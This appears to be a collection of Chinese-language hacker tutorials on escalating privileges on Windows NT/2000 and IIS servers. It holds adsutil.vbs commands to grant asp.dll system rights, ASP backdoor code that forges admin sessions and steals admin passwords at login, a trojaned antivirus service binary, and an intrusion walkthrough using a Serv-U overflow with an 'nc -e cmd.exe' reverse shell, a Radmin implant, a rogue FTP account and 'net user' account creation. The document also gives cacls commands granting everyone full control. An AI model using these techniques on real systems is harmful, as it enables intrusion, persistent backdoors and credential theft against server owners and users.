但這種提升方法很容易被發現,所以網路有另一種一般是用adsutil.vbs來提升許可權.而這個也是今天 
我要談的關於adsutil.vbs提升許可權. 
2.用adsutil.vbs搞定. 
在網路上我看到了很多的教你用這種方法的動畫,文章,但我至今沒有看到一篇介紹原理的,下面我談談我個人的看法: 
先舉個例子: 
有一群狗,這群狗裡有幾個長老級狗物,它們擁有著至高無上的許可權,而其它的狗,他們的許可權則少得可憐. 
轉到計算機上: 
在IIS中,有幾個Dll檔案是擁有特許可權的,我們可以理解為系統許可權,就像長老級的狗.而解析asp的asp.dll則就像一隻 
普通的狗,他的許可權少得可憐. 
那麼,如果asp.dll也成了長老級的狗的話,那麼asp不也就有了系統許可權了嗎,這是可以成立的.所以我們的思路也就是 
把asp.dll加入特權的dll一族之中.提升步驟為: 
<1>先檢視有特權一話有哪些. 
<2>加asp.dll加入特權一族 
好了,下面我們就來實踐這個過程. 
1)檢視有特權的dll檔案: 
命令為:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 
得到顯示為: 
C:\\Inetpub\\AdminScripts>cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 
Microsoft (R) Windows 指令碼宿主版本 5.1 for Windows 
版權所有(C) Microsoft Corporation 1996-1999. All rights reserved. 
InProcessIsapiApps : (LIST) (5 Items) 
"C:\\WINNT\\system32\\idq.dll" 
"C:\\WINNT\\system32\\inetsrv\\httpext.dll" 
"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" 
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll" 
"C:\\WINNT\\system32\\msw3prt.dll" 
看到沒有,他說明的是有特許可權一族為:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 
這幾個檔案,不同的機子,可能會不同. 
2)把asp.dll加入特權一族: 
因為asp.dll是放在c:\\winnt\\system32\\inetsrv\\asp.dll (不同的機子放的位置不一定相同) 
我們現在加進去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\ system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll""c:\\winnt\\system32\\inetsrv\\asp.dll" 
好了,現在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 來檢視是不是加進去 
了,注意,用法中的get和set,一個是檢視一個是設定.還有就是你執行上面的你要到C:\\Inetpub\\AdminScripts>這個目錄下. 
那麼如果你是一個管理員,你的機子被人用這招把asp提升為system許可權,那麼,這時,防的方法就是把asp.dll T出特權一族,也就是用set這個命令,覆蓋掉剛才的那些東東. 
例:cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll" 
這樣就可以了,當你再用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 這個語句查之時,如果沒有看見asp.dll, 
說明,asp的許可權又恢復到以前的許可權. 
-------------------------------------------------------------------------------- 
-- -- 
  winNT/2000提升許可權 
  Windows NT/2000 通用的提升方法 
  攻擊者在獲得系統一定的訪問許可權後通常要把自己的許可權提升到管理員組,這樣攻擊者就控制了該計算機系統。這主要有以下幾種方法:1.獲得管理員密碼,下次就可以用該密碼進入系統; 2. 先新建一個使用者,然後把這個普通新增到管理員組,或者乾脆直接把一個不起眼的使用者如guest 新增到管理員組; 3. 安裝後門。 
  本文簡要介紹在 Windows NT4和 Windows 2000 裡攻擊者常用的提升許可權的方法。下面是具體方法: 
  方法1 :下載系統的 %windir%\\repair\\sam.*(WinNT 4 下是sam._ 而Windows2000下是sam )檔案,然後用L0pht 等軟體進行破解,只要能拿到,肯花時間,就一定可以破解。 
  問題:(1 )攻擊者不一定可以訪問該檔案(看攻擊者的身份和管理員的設定);(2 )這個檔案是上次系統備份時的帳號列表(也可能是第一次系統安裝時的),以後更改帳號口令的話,就沒用了。 
  方法2 :使用pwdump(L0pht 自帶的,Windows 2000下無效)或者pwdump2 ,取得系統當前的使用者列表和口令加密列表,然後用L0pht 破解這個列表。 
  問題:普通使用者不能成功執行pwdump類程式(沒有許可權),例如:使用unicode漏洞進入系統時是IUSR_computer 身份,該使用者一般只屬於guests組的,執行pwdump類程式就會失敗。 
  (以上兩種是離線的) 
  方法3 :使用 Enum 等程式進行遠端破解,猜口令。enum可以使用指定的字典對遠端主機的某個使用者進行破解。 
  問題:(1 )如果系統設定了帳號鎖定的話,破解幾次失敗,該帳號就鎖定了,暫時不能再破解;(2 )要遠端系統開放 Netbios連線,就是 TCP的139 埠,如果用防火牆過濾了的話 Enum 就無法連線到主機。 
  (以上方法是通過破解獲得密碼的,還有直接把當前使用者提升許可權或者新增使用者到管理員組的方法。) 
  方法4 :GetAdmin(WinNT 4 下)、PipeUpAdmin (Windows 2000下),在本機執行可以把當前使用者帳號加入管理員組。而 PipeUpAdmin則比較厲害,普通使用者和Guests組使用者都可以成功執行。 
  問題:GetAdmin在 SP4有補丁修復了,不能用於高於 SP4的 WinNT 4系統,當然後來又有GetAdmin的增強版本,不過在 SP6a 下好像都不能成功執行。 
  注:這一方法利用了 WinNT 4系統的安全漏洞,可以安裝補丁解決這一問題。 
  (此外還有變通的方法。) 
  方法5 :在WinNT 4 和 Windows 2000 登錄檔裡指定使用者Shell 程式(Explorer.exe) 
  時沒有使用絕對路徑,而是使用了一個相對路徑的檔名(考慮到相容性問題)。 
  由於在系統啟動時程式的搜尋順序問題使得 %Systemdrive%\\Explorer.exe(作業系統安裝的跟目錄下的Explorer.exe)程式執行,這提供了攻擊者一個機會在使用者下次登入時執行他自己的程式。 
  問題:攻擊者必須有安裝系統邏輯盤跟目錄的寫許可權才行,而一般管理員都設定該目錄普通使用者禁寫。 
  注:這種方法利用了 WinNT 4/Windows 2000 系統的安全漏洞,可以安裝補丁解決這種問題。 
  方法6 :木馬:上傳木馬,然後執行木馬,系統重起動後,木馬就是本地登入使用者的身份了,然後攻擊者連線後就有了本地登入使用者的許可權。因為一般總是管理員本地登入系統,因此這樣很可能就獲得了管理員的許可權。 
  問題:(1 )防毒軟體或病毒防火牆可能阻止木馬執行,還有可能把木馬殺死。 
  (2 )有的木馬不能在Guests組身份下執行,這可能與它新增自動執行的方式有關;如沒有許可權改寫登錄檔的自動執行位置,不能寫入%system% \\ system32目錄(一般的木馬都改變檔名,然後寫入系統目錄,如果沒有寫入許可權系統目錄,就不能成功執行木馬)。 
  解決:不過也有用壓縮程式(不是通常說的壓縮程式,這種壓縮程式把可執行程式壓縮後,檔案變小了,但是仍然可以正常執行)將木馬壓縮,從而逃過防毒軟體的特徵碼檢測。我曾使用Aspack成功壓縮了一個木馬,逃過了金山毒霸正式版的檢測。不過也有的木馬Aspack壓縮不了,如冰河。 
  方法7 : Gina、GinaStub木馬。雖然這個也叫木馬,但是它的功能和上邊的那種大不相同,因為一般的木馬是在對方安裝一個server端,一旦執行就可以使用client端連線到server端,並進行操作。而 ginastub 一般只有一個動態連線庫檔案,需要手工安裝和解除安裝,他的功能也不是使用 client端控制server端,它僅僅就是捕獲使用者的登入密碼。 
  問題:安裝較麻煩,成功的可能性低,而且安裝不當會造成被安裝的系統不能啟動。 
  注:這一方法利用的不是系統的安全漏洞,因此不能通過安裝補丁解決這一問題。關於Gina,可以參見我的另一篇文章《WinLogon登入管理和GINA簡介》 
  方法8 :本地溢位。緩衝區溢位是進行攻擊的最好辦法,因為一般都可以獲得系統許可權或者管理員許可權;不過很多遠端溢位攻擊不需要事先有執行程式的許可權,而本地溢位就恰好適合提升許可權。Win NT4 的 IIS4 的 ASP擴充套件有一個本地溢位漏洞,Windows 2000的靜態影像服務也有一個溢位漏洞,利用該漏洞,攻擊者可以獲得系統許可權。當然 Windows NT 和 Windows 2000 還有很多程式有溢位漏洞,這是這些程式不是總在執行,因此被利用的可能性比較小。 
  問題:(1 )ASP 擴充套件的溢位漏洞需要攻擊者有向網站的指令碼目錄的寫許可權,才能把攻擊程式放到網站上,然後執行。 
  (2 )靜態影像服務預設沒有安裝,只有使用者在 Windows 2000 上安裝靜態影像裝置(如數位相機、掃描器等)時才自動安裝。 
  注:這種方法利用了 WinNT 4/Windows 2000 系統的安全漏洞,可以安裝補丁解決這種問題。 
  Windows 2000專用提升漏洞方法方法1 : Windows 2000 的輸入法漏洞,利用這個漏洞任何人可以以LocalSystem 身份執行程式,從而可以用來提升許可權,不過該漏洞一般限於物理接觸 Windows 2000 計算機的人。當然如果開放了終端服務的話,攻擊者也可以遠端利用該漏洞。 
  注:這一方法利用了 Windows 2000 系統的安全漏洞,可以安裝補丁解決這一問題。 
  方法2 :利用 Windows 2000 的 Network DDE DSDM 服務漏洞普通使用者可以LocalSystem 身份執行任意程式,可以藉此更改密碼、新增使用者等。Guests組使用者也可以成功利用該漏洞。 
  問題:這個服務預設沒有啟動,需要啟動這個服務。 
  注:這一方法利用了 Windows 2000 系統的安全漏洞,可以安裝補丁解決這一問題。 
  方法3 :Windows 2000的 TELNET 服務程式建立時,該服務會建立一個命名管道,並用它來執行命令。但是,該管道的名字能被預見。如果 TELNET 發現一個已存在的管道名,它將直接用它。攻擊者利用此漏洞,能預先建立一個管道名,當下一次 TELNET 建立服務程式時,便會在本地 SYSTEM 環境中執行攻擊者程式碼。 
  注:這一方法利用了 Windows 2000 系統的安全漏洞,可以安裝補丁解決這一問題。 
  方法 4 :WINDOWS 2K存在一個利用 Debug Registers提升許可權的漏洞。如果攻擊者能在 WIN2K中執行程式,利用此漏洞,他至少能取得對 %Windir%\\SYSTEM32和登錄檔HKCR的寫權。因為x86 Debug Registers DR0-7 對於所有程式都是全域性共享的,因此在一個程式中設定硬體斷點,將影響其它程式和服務程式。 
  注:這一方法利用了 Windows 2000 系統的安全漏洞,不過到目前為止微軟仍然沒有補丁可以安裝,但是漏洞攻擊程式已經出現了,因此只能堵住攻擊者的入口來阻止利用該漏洞。 
-------------------------------------------------------------------------------- -- 
-- 巧妙配合asp木馬取得後臺管理許可權頂(這個可是經典。。。自己體會我不多說了) 


前段時間氾濫成災的動網論壇上傳漏洞以及最近接二連三的各種asp系統暴露的上傳漏洞,可能很多朋友手中有了很多webshell的肉雞,至於選擇怎麼樣這些小雞的方式也是因人而異,有人繼續提升許可權,進一步入侵,也有人只是看看,馬兒放上去了過了就忘記了,也有一些朋友,當webshell的新鮮勁兒過去了後臺的神祕感和誘惑力也就大大增加。其實,對很多功能強大的系統而言,拿到後臺也就是拿到了一個好的後門了,呵呵............但是現在比較新的版本的很多asp系統密碼都是MD5加密然後配合嚴格的驗證程式來驗證的,但是我們就沒有辦法突破這些限制了嗎?no!我今天就是要說怎麼突破這些限制讓我們直奔後臺,有馬兒廄是好辦事,follow 
me............ 
session欺騙篇 
首先簡單說一下一般asp系統的身份驗證原理。 
一般來說,後臺管理員在登入頁面輸入賬號密碼後,程式會拿著他提交的使用者名稱密碼去資料庫的管理員表裡面找,如果有這個人的賬號密碼就認為你是管理員,然後給你一個表示你身份的session值。或者程式先把你的使用者名稱密碼提取出來,然後到資料庫的管理員表裡面取出管理員的賬號密碼來和你提交的相比較,如果相等,就跟上面一樣給你個表示你身份的sesion值。然後你進入任何一個管理頁面它都要首先驗證你的session值,如果是管理員就讓你通過,不是的話就引導你回到登入頁面或者出現一些奇奇怪怪的警告,這些都跟程式設計師的個人喜好有關。 
知道了原理,我們現在的一個思路就是通過我們的asp木馬來修改它的程式然後拿到一個管理員session,這樣的話儘管我們沒有管理員密碼,但是我們一樣在後臺通行無阻了。我把這種方法稱為session欺騙。限於篇幅不能每個系統都能詳細說明,本文僅以動力文章系統為例來說明。 
動力文章系統3.51,(圖一) 
圖一 
其實動力文章系統的所有版本全部通殺,包括動易。大家可以自己實踐一下。 
我們先來看一下它的驗證內容。動力文章3.51的驗證頁面在Admin_ChkLogin.asp 
,其驗證內容如下: 
............ 
else 
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") 
rs("LastLoginTime")=now() 
rs("LoginTimes")=rs("LoginTimes")+1 
rs.update 
session.Timeout=SessionTimeout 
session("AdminName")=rs("username") 
rs.close 
set rs=nothing 
call CloseConn() 
Response.Redirect "Admin_Index.asp" 
前面省略號是使用者名稱密碼不正確的驗證,直到else,看一下,如果使用者名稱密碼正確就給你兩個session值: 
session.Timeout=SessionTimeout 
session("AdminName")=rs("username") 
我們在看一下其他管理頁面是怎麼驗證session的,admin_index.asp一開始就這樣: 
if session("AdminName") = "" then response.Redirect "Admin_Login.asp"end if 
看起來似乎很嚴密,但是我們看一下,它這裡值驗證一個AdminName的session,只要我們的session內容是AdminName的話不就可以通過了?好,我們開工,先去弄到它的管理員賬號再說,這個不要我教你了吧?到他網站逛一下或者直接一點下載它的資料庫來看都可以知道。我們找個頁面來改一下,我找一個比較沒人而內容較多的頁面FriendSite.asp(友情連結頁面)來改,呵呵,這樣管理員也很難查得出來啊。用asp木馬的編輯功能來編輯一下它的內容。在他頁面下隱蔽處加上下面幾句話: 
dim id 
id=trim(request("qwe")) 
if id="120" then 
session("AdminName")="admin" '這裡是假設的,實際操作中可以改成你想要得管理員賬號 
end if 
我簡單說一下這句話的意思,就是說從位址列取得hehe的值,如果hehe=120的話,那麼系統就給我們一個值為admin的session。好了,我們輸入看一下,圖二: 
圖二 
看到有什麼異常嗎,沒有吧?還是正常頁面,但是我們接著在位址列中輸入它的後臺管理首頁看看,是不是進去了?圖三: 
圖三 
呵呵,別做壞事哦............ 
小結一下:我們先找到弄到管理員賬號,然後找到它的驗證頁面,根據它的驗證內容來寫入我們要的後門。不同的系統有不同的驗證方式,比如青創文章系統它不但要驗證你的使用者名稱還要驗證等級,但是我們總體思路還是一樣,就是他驗證什麼我們就加入什麼。 
密碼竊探篇 
可以說上述方法在動網論壇或者其他論壇面前是蒼白無力的,因為一般論壇由於互動性較強,所以在驗證上考慮了很多。以動網為例,你要登入後臺,他先驗證你有沒有先登入了前臺,沒有的話就給你返回一個錯誤頁面。你登入前臺後系統會給你一個seession來記錄你的CacheName和你的ID,然後在你登入後臺的時候拿出來比較你前後臺身份是否一致,一直就通過,否則kill,面對這樣嚴格的驗證,難道我們就沒有辦法基後臺了嗎?對,沒有了(誰拿雞蛋扔我?這麼浪費。),但是我們可以想新的辦法,既然驗證這麼嚴格,那麼我如果拿著密碼光明正大的進去呢?因此,這裡一個新的思路就是拿到它的明文密碼。什麼時候有明文密碼呢?對了,就在管理員登入的時候。好,我們就在那裡做手腳,把它登入的密碼發給我們,然後我們拿和它的密碼去登入。呵呵,是不是很像 sniffer啊?在下在前幾個月剛和好兄弟潛龍在野利用硬體sniffer配合省網安局的人端掉一個非法電影網站,足足4000G的硬碟,幾十臺伺服器,一個字:爽 
好了,我們開始修改它的程式。編輯login.asp,加入以下幾句話: 
if not isnull(trim(request("username"))) then 
if request("username")="admin" then 
sql="update [Dv_Vser] set UserEmail=(select userpassword from 
[Dv_User] 
where username=\'"& request("username")&"\') where 
UserName=\'aweige\'" 
conn.execute(sql) 
end if 
end if 
這幾句話的意思就是說如果admin(假設的,實際操作中改為你要的管理員名字)登入成功就更新資料庫,把他的密碼放到我資料的E-mail中。當然,你必須先在論壇裡註冊一個使用者名稱。結果如圖四: 
圖四 
還有,如果是動網7.0以下的預設資料庫admin表名和7.0以上有點不一樣,所以實際操作中不可生搬硬套。 
後記: 
對於以上兩種方法直到目前為止我還想不出任何比較有效的解決方法,因為你的網站被人家放了馬,你根本就沒辦法去阻止人家去插入,要是誰有好的解決方法記得告訴我。 
另外,希望大家不要去搞破壞,那時我真的不願看到的,也祝所有的網管們好運,希望你們不會碰上craker們。 
-- 
-- 
巧用asp木馬和KV2004得到管理員許可權 
重來沒寫過什麼文章,這是第一次,寫的不好請大家原諒,高手也不要取笑哦。這裡也沒什麼技術可言,只是我這個菜鳥的一點心得,ok開始。。。 
前段時間動網的UPfile.asp漏洞可謂鬧的沸沸揚揚,這個漏洞確實很厲害,相信不少新手和我一樣種了不少後門在有動網的網站上,但是asp木馬的許可權確實很底,除了刪點文章,刪點圖片好象沒什麼用了。不行不得到管理員許可權簡直就辜負了發現這個漏洞的高手們~v~。好,想辦法提升許可權,我找啊找!網上提升許可權的方法幾乎都用過了,都沒什麼用,補丁打的很全啊!接下來用findpass想解開管理員的密碼,又失敗,findpass要管理員許可權才有用。用 pslist看看暈裝的是瑞星+天網,網上的大部分工具遇上這個防禦組合一般都沒用了。種木馬?不行一來 
許可權太底,二來在瑞星殺天網堵的包圍下很少能活出來的。做個新增使用者許可權的bat檔案想放到啟動組中去,這個方法雖然有點傻但是有一定的可行性,暈又是許可權不夠加不進去。c盤下的 "rogram Files" "winnt" "Documents and Settings"三個檔案甲都沒有寫許可權,更不要說登錄檔了。鬱悶了,給管理員留了句話,然後匆匆下線。 
第2天上來一看,嘿嘿圖被改回來了,管理員應該發現了,這次更不容易得手。登上 asp木馬進去看了一下,昨天傳上去的幾個exe被刪了,還好asp木馬活下來了,咦!c盤多了檔案甲叫 KV2004,原來管理員把瑞星卸了,安了個 kv2004,進Program Files看看確實瑞星被卸了。(這裡說一下,大部分的防毒軟體預設的安裝路徑c:\\Program Files\ \,但是kv預設的安裝路徑是c:\\kv2004\\)到這裡機會就來了我們可以把執行檔案捆綁在kv2004上,跟隨kv一起啟動。因為 kv不在 "rogram Files" "winnt" "Documents and Settings"這三個檔案甲中,很大可能我可以修改 
或者上傳檔案。行動!在kv2004下隨便找個htm檔案刪除:(看看有無寫刪許可權) 
C:\\>del c:\\kv2004\\GetLicense.htm 
拒絕訪問 
奇怪了,再來看看檔案甲屬性 
C:\\>attrib c:\\kv2004 
S R C:\\KV2004 
哦是隻讀。 
C:\\>attrib -r -s c:\\kv2004 
ok!在試試 
C:\\>del c:\\kv2004\\GetLicense.htm 
成功了!好寫個起用帳號和提升許可權的bat檔案,然後把bat檔案和kv2004的系統服務檔案KVSrvXP.exe捆綁起來,(注意多下種捆綁器,捆綁一 
次用kv2004來掃描一次,因為很多捆綁器生成的檔案kv會把他作為病毒來處理掉)準備上傳了,先刪掉原來的KVSrvXP.exe。 
C:\\>del c:\\kv2004\\KVSrvXP.exe 
拒絕訪問 
可能是KVSrvXP.exe被windows呼叫中,刪不掉。沒辦法了嗎?不,刪不掉我改名 
C:\\>ren c:\\kv2004\\KVSrvXP.exe kv.exe 
OK!然後用asp木馬把修改了的KVSrvXP.exe上傳到kv2004中,接下來就去睡覺把。 
4個小時後登上來用: 
net user 起用的帳戶 
已經在administrators組中,接下來要關防火牆,關防毒軟體,還是種木馬你隨便我了,哈哈! 
我覺得入侵沒什麼固定的模式,具體情況具體分析,防毒軟體同樣也可以幫我們忙,這裡我只提供了一種思路。請大家指教。 
如何繞過防火牆提升許可權 
本文講的重點是webshell許可權的提升和繞過防火牆,高手勿笑。 
廢話少說,我們們進入正題。 
首先確定一下目標:http://www.sun***.com ,常見的虛擬主機。利用Upfile的漏洞相信大家獲得webshell不難。我們這次獲得這個webshell,不是DVBBS,而是自由動力3.6的軟體上傳過濾不嚴。網站http://www.sun***.com/lemon/Index.asp 是自由動力3.6文章系統。Xr運用 WinHex.exe和WSockExpert.exe上傳一個網頁木馬newmm.asp,用過動鯊的 door.exe的人都知道,這個是上傳asp木馬內容的。於是,上傳海洋2005a,成功獲得webshell。 
測試一下許可權,在cmd裡執行set,獲得主機一些資訊,系統盤是D盤,也說明了我們的webshell有執行許可權的。那我們看看C盤有什麼呢?難道是雙系統?瀏覽後發現沒有什麼系統檔案,只有一些垃圾檔案,暈死。沒關係,再來檢查一下,虛擬主機都有serv-u的,這臺也不例外,是5.0.0.8的。呵呵,是有本地溢位的呀,挖哈哈。 
思路:上傳serv-u本地溢位檔案srv.exe和nc.exe利用nc來反連線獲得系統shell。大家是不是發現海洋2005a那個上傳的元件不好用(反正我總遇到這個問題),沒關係,用rain改的一個無元件上傳,一共有3個檔案,up.htm, upload.asp和 uploadclass.asp。upload.asp和uploadclass.asp上傳到同一個資料夾,up.htm是本地用的,修改up.htm 裡的連結地址為:http://www.sun***.com/lemon/upload.asp就可以上傳了。 
傳上了srv.exe和nc.exe在H:\\long\\sun***\\lemon(網站目錄)後,發現沒有執行許可權。沒關係,根據經驗,一般系統下 D: \\Documents and Settings\\All Users\\是應該有執行許可權的。於是想把檔案copy過去,但是發現我們的 webshell沒有對D盤寫的許可權,暈死。 
可以瀏覽D:\\program files\\serv-u\\ServUDaemon.ini,不能改,難道要破解serv-u的密碼,暈,不想。 
不可以這麼就洩氣了,我突然想到為什麼系統不放在C盤了,難道C盤是FAT32分割槽的?(後來證明了我們的想法。這裡說一下,如果主機有win98的系統盤,那裡99%是FAT32分割槽的。我們還遇到過裝有Ghost的主機,為了方便在DOS下備份,它的備份盤一般都是FAT分割槽的。)如果系統盤是 FAT32分割槽,則網站就沒有什麼安全性可言了。雖然C盤不是系統盤,但是我們有執行許可權。呵呵,copy srv.exe和nc.exe到c:\\,執行 srv.exe "nc.exe –e cmd.exe 202.*.*.* 888",這裡的202.*.*.*是我們的肉雞,在這之前我們已經在肉雞上執行了nc –l –p 888。我們在學校內網裡,沒有公網ip,不爽-ing。 
我們成功獲得一個系統shell連上肉雞。(看起來簡單,其實這裡我們也遇到過挫折,我們發現有些版本的nc居然沒有-e這個引數,還以為全世界nc功能都一樣。後來又發現不同版本的nc互連不成功,會出現亂碼,沒辦法用。為此,上傳 n次,錯誤n次,傻了n次,後來終於成功了。做黑客還真得有耐心和恆心。) 
高興之餘,我們仍不滿足,因為這個shell實在是太慢了。於是,想用我們最常用的Radmin,其實管理員一按Alt+Ctrl+Del,看程式就能發現 r_server了,但是還是喜歡用它,是因為不會被查殺。好了,上傳admdll.dll,raddrv.dll,r_server.exe到H:\\ long\\sun***\\lemon,再用剛才nc得到的 shell把它們copy到d:\\winnt\\system32\\下,分別執行: r_server /install , net start r_server , r_server /pass:rain /save 。 
一陣漫長的等待,終於顯示成功了。興沖沖用radmin連上去,發現連線失敗。暈死,忘了有防火牆了。上傳pslist和pskill上去,發現有 backice,木馬克星等。Kill掉他們雖然可以登陸,但伺服器重啟後還是不行,終不是長久之計呀。防火牆是不防21,80等埠的,於是,我們的思路又回到了serv-u上了。把他的 ServUDaemon.ini下載下來,覆蓋本機的ServUDaemon.ini,在本機的serv-u上新增一個使用者名稱為xr,密碼為rain的系統帳號,加上所有許可權。再用老辦法,上傳,用shell寫入D:\\program files\\serv-u\ \裡,覆蓋掉原來的ServUDaemon.ini。雖然又等了n長時間,但是成功了,於是用flashfxp連上,發生 530錯誤。鬱悶,怎麼又失敗了。(根據經驗這樣應該就可以了,但為什麼不行沒有想通,請高手指點。) 
不管了,我們重啟serv-u就ok 了,怎麼重啟呢,開始想用 shutdown重啟系統,但那樣我們就失去了nc這個shell,還可能被發現。後來,眼睛一亮,我們不是有pskill嗎?剛才用pslist發現有這個程式:ServUDaemon 。把它kill了。然後再執行D:\\program files\\serv-u\\ ServUAdmin.exe ,這裡要注意不是ServUDaemon.exe 。 
好了,到這裡,我們直接ftp上去吧,ls一下,哈哈,系統盤在我的掌握下。我們能不能執行系統命令呢?是可以的,這樣就可以: 
ftp>quote site exec net user xr rain /add 
在webshell上執行net user,就可以看見新增成功了。 
整個入侵滲透到這就結束了,在一陣後清理打掃後。我們就開始討論了。其實,突破防火牆有很多好的rootkit可以做到的,但是我們覺得系統自帶的服務才是最安全的後門。 
CAcls命令在提權中的使用 


cacls.exe c: /e /t /g everyone:F #把c盤設定為everyone可以瀏覽 
cacls.exe d: /e /t /g everyone:F #把d盤設定為everyone可以瀏覽 
cacls.exe e: /e /t /g everyone:F #把e盤設定為everyone可以瀏覽 
cacls.exe f: /e /t /g everyone:F #把f盤設定為everyone可以瀏覽 
F:\safe\溢位工具\sqlhello2>cacls 
顯示或者修改檔案的訪問控制表(ACL) 
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]] 
[/P user:perm [...]] [/D user [...]] 
filename 顯示 ACL。 
/T 更改當前目錄及其所有子目錄中 
指定檔案的 ACL。 
/E 編輯 ACL 而不替換。 
/C 在出現拒絕訪問錯誤時繼續。 
/G user:perm 賦予指定使用者訪問許可權。 
Perm 可以是: R 讀取 
W 寫入 
C 更改(寫入) 
F 完全控制 
/R user 撤銷指定使用者的訪問許可權(僅在與 /E 一起使用時合法)。 
/P user:perm 替換指定使用者的訪問許可權。 
Perm 可以是: N 無 
R 讀取 
W 寫入 
C 更改(寫入) 
F 完全控制 
/D user 拒絕指定使用者的訪問。 
在命令中可以使用萬用字元指定多個檔案。 

相關文章